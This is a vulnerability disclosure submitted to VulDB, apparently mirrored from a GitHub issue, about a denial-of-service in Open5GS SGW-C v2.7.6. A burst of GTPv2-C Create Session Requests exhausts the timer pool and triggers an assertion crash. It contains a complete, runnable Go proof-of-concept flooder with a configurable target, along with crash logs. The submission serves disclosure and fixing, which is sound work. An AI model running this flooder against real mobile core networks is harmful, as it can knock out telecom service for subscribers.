Submit #735342: Open5GS SGWC v2.7.6 Denial of Serviceinfo

TitleOpen5GS SGWC v2.7.6 Denial of Service
Description### CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce ### Description SGW-C can be remotely crashed through GTPv2-C Create Session Request flooding (with PGW F-TEID) that exhausts the global timer pool. When a large number of CSR requests are sent to SGW-C, SGW-C proceeds with forwarding logic and creates many PFCP “local transactions” to communicate with SGW-U. Each PFCP transaction allocates timers (e.g., tm_delayed_commit) from the global timer pool. Once the timer pool is exhausted, ogs_pool_alloc() fails. Immediately after that, transaction creation hits an assertion: ogs_pfcp_xact_local_create: Assertion 'xact->tm_delayed_commit' failed (lib/pfcp/xact.c:104), causing a denial-of-service. 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // Vuln-PC1-13 Varient PoC: PFCP Local Transaction Pool Exhaustion // Target: SGW-C - ogs_pfcp_xact_local_create() assertion // Crash Location: lib/pfcp/xact.c:104 // Assertion: ogs_assert(xact->tm_delayed_commit) // // Attack Strategy: // - Send CSR WITH PGW F-TEID (triggers forwarding to PGW) // - SGW-C creates PFCP transactions to communicate with SGW-U // - Timer pool exhausts -> PFCP xact timer allocation fails // - ogs_timer_add() returns NULL -> assertion fails package main import ( "flag" "fmt" "log" "net" "sync" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( target = flag.String("target", "", "Target SGW-C IP (required)") port = flag.Int("port", 2123, "GTP-C port") pgwIP = flag.String("pgw-ip", "x.x.x.x", "PGW/SMF IP address") count = flag.Int("count", 500, "Number of requests to send") concurrency = flag.Int("concurrency", 50, "Number of concurrent senders") delay = flag.Duration("delay", 1*time.Millisecond, "Delay between requests") maxUE = flag.Int("max-ue", 1, "Number of unique IMSIs") ) func main() { flag.Parse() if *target == "" { log.Fatal("--target is required") } fmt.Println("==========================================================") fmt.Println("Vuln-PC1-13 PoC: ogs_pfcp_xact_local_create Assertion") fmt.Println("==========================================================") fmt.Printf("[*] Target: %s:%d (SGW-C S11)\n", *target, *port) fmt.Printf("[*] PGW IP: %s\n", *pgwIP) fmt.Printf("[*] Crash Location: lib/pfcp/xact.c:104\n") fmt.Printf("[*] Assertion: ogs_assert(xact->tm_delayed_commit)\n") fmt.Println("[*] Strategy: CSR with PGW F-TEID -> PFCP to SGW-U -> pool exhaustion") fmt.Println("----------------------------------------------------------") addr := fmt.Sprintf("%s:%d", *target, *port) remoteAddr, err := net.ResolveUDPAddr("udp", addr) if err != nil { log.Fatalf("Failed to resolve address: %v", err) } var wg sync.WaitGroup requestsPerWorker := *count / *concurrency sentCount := 0 var mu sync.Mutex for i := 0; i < *concurrency; i++ { wg.Add(1) go func(workerID int) { defer wg.Done() conn, err := net.DialUDP("udp", nil, remoteAddr) if err != nil { return } defer conn.Close() for j := 0; j < requestsPerWorker; j++ { seq := uint32(workerID*10000 + j) ueIndex := (workerID*requestsPerWorker + j) % *maxUE msg := buildCSR(seq, ueIndex, *pgwIP) data, _ := message.Marshal(msg) conn.Write(data) mu.Lock() sentCount++ if sentCount%100 == 0 { fmt.Printf("[*] Sent %d requests...\n", sentCount) } mu.Unlock() if *delay > 0 { time.Sleep(*delay) } } }(i) } wg.Wait() fmt.Println("----------------------------------------------------------") fmt.Printf("[+] Total requests sent: %d\n", sentCount) fmt.Println("[*] Expected crash: ogs_pfcp_xact_local_create: Assertion 'xact->tm_delayed_commit' failed") fmt.Println("[*] Check: docker logs sgwc | grep 'pfcp_xact_local_create'") } func buildCSR(seq uint32, ueIndex int, pgwIP string) *message.CreateSessionRequest { imsi := fmt.Sprintf("001010000000%03d", ueIndex) localIP := "x.x.x.x" mmeTEID := uint32(0x10000000 + seq) pgwTEID := uint32(0x20000000 + seq) senderFTEID := ie.NewFullyQualifiedTEID( gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "", ) // PGW S5/S8 F-TEID - THIS triggers SGW-C to forward to PGW (via PFCP first) pgwFTEID := ie.NewFullyQualifiedTEID( gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "", ).WithInstance(1) ebi := uint8(5 + (seq % 11)) enbTEID := uint32(0x30000000 + seq) enbFTEID := ie.NewFullyQualifiedTEID( gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, localIP, "", ) bearer := ie.NewBearerContext( ie.NewEPSBearerID(ebi), enbFTEID, ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000), ) apns := []string{"internet", "ims", "mms", "enterprise", "vpn", "iot", "voip", "data"} apn := apns[int(seq)%len(apns)] return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI(imsi), ie.NewMSISDN("0000000000"), ie.NewMobileEquipmentIdentity("353490061234560"), ie.NewServingNetwork("001", "01"), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewAccessPointName(apn), ie.NewAggregateMaximumBitRate(500000, 500000), senderFTEID, pgwFTEID, bearer, ) } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the SGW-C address: `go run ./main.go --target x.x.x.x` ### Logs ```shell 01/07 08:01:03.127: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84) 01/07 08:01:03.127: [pfcp] FATAL: ogs_pfcp_xact_local_create: Assertion `xact->tm_delayed_commit' failed. (../lib/pfcp/xact.c:104) 01/07 08:01:03.127: [core] FATAL: backtrace() returned 10 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogspfcp.so.2(ogs_pfcp_xact_local_create+0x4db) [0x7bb4faeb69c7] open5gs-sgwcd(+0x110af) [0x620c7c9c00af] open5gs-sgwcd(+0x17c1d) [0x620c7c9c6c1d] open5gs-sgwcd(+0x14f0c) [0x620c7c9c3f0c] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7bb4fadc943f] open5gs-sgwcd(+0x639a) [0x620c7c9b539a] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7bb4fadb99a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7bb4fabeeac3] /lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7bb4fac7fa74] /usr/local/bin/entrypoint.sh: line 8: 8 Aborted (core dumped) open5gs-sgwcd "${@}" ``` ### Expected behaviour When the timer pool is exhausted, SGW-C should gracefully reject/drop new PFCP transactions: return an error response if applicable, or silently drop with warning/logging avoid assertions and keep the process alive (no crash) ### Observed Behaviour When SGW-C receives a burst of GTPv2-C Create Session Requests (with PGW F-TEID), it triggers: ogs_pool_alloc() failure during timer allocation (../lib/core/ogs-timer.c:84) ogs_assert(xact->tm_delayed_commit) in ogs_pfcp_xact_local_create (../lib/pfcp/xact.c:104), causing DoS/crash ### eNodeB/gNodeB No ### UE Models and versions No
Source⚠️ https://github.com/open5gs/open5gs/issues/4260
User
 FrankyLin (UID 94345)
Submission01/09/2026 02:58 PM (1 month ago)
Moderation01/18/2026 02:38 PM (9 days later)
StatusDuplicate
VulDB entry341599 [Open5GS up to 2.7.5 Timer resource consumption]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!